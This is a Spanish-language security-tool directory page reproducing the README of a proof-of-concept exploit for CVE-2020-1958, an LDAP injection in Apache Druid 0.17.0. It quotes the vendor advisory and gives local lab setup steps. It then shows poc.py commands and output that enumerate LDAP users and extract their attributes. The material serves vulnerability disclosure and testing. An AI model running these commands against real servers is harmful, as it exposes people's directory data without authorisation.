Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-1958 — Prueba de concepto de exploit para CVE-2020-1958, una vulnerabilidad de inyección LDAP en Apache Druid 0.17.0, que permite la enumeración de usuarios y la exfiltración de atributos LDAP. | Kitploit
Herramientas/GitHubGitHub/ggolawski/cve-2020-1958
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAutenticación
GitHubggolawski/cve-2020-1958

CVE-2020-1958

Prueba de concepto de exploit para CVE-2020-1958, una vulnerabilidad de inyección LDAP en Apache Druid 0.17.0, que permite la enumeración de usuarios y la exfiltración de atributos LDAP.

Ver Repositorio
2181hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC de CVE-2020-1958

CVE-2020-1958 es una vulnerabilidad de inyección LDAP de alta gravedad en Apache Druid 0.17.0. Permite a un atacante omitir el filtro de búsqueda LDAP y recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP.

Del aviso oficial de Apache Druid:

Cuando la autenticación LDAP está habilitada:

  • Los llamantes de las API de Druid con un conjunto válido de credenciales LDAP pueden omitir la barrera del filtro credentialsValidator.userSearch que determina si un usuario LDAP válido está autorizado para autenticarse en Druid. Todavía están sujetos a las comprobaciones de autorización basadas en roles, si están configuradas.
  • Los llamantes de las API de Druid pueden recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP, siempre que esa información sea visible para el servidor Druid. Esta divulgación de información no requiere que el llamante sea un usuario LDAP válido.

PoC

El script poc.py demuestra cómo un atacante no autorizado puede enumerar usuarios en el servidor LDAP integrado con Druid y obtener el valor de cualquier atributo de cualquier usuario.

Servidor de prueba local de Druid

Omita este paso si ya tiene un servidor Druid con autenticación LDAP habilitada.

  1. Descargue Druid 0.17.0 y extráigalo

root@kitploit:~
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz

  • Habilite y configure la autenticación LDAP en conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Habilite la extensión druid-basic-security

      Localice druid.extensions.loadList y añada druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Configure la autenticación LDAP

      Añada lo siguiente al final del archivo:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  • Ejecute el servidor OpenLDAP

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  • Importe los usuarios de users.ldif a LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  • Ejecute el servidor Druid

    root@kitploit:~
    $ bin/start-nano-quickstart
    
  • Enumerar usuarios

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/
    [INFO] Enumerating users from http://127.0.0.1:8888/
    admin1
    admin2
    admin3
    admin4
    admin5
    admin6
    admin7
    user1
    user2
    user3
    user4
    

    Recuperar valores de atributos LDAP del usuario admin1

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
    [INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
    [email protected]
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
    [INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
    admin1
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
    [INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
    last
    
    Descargar herramienta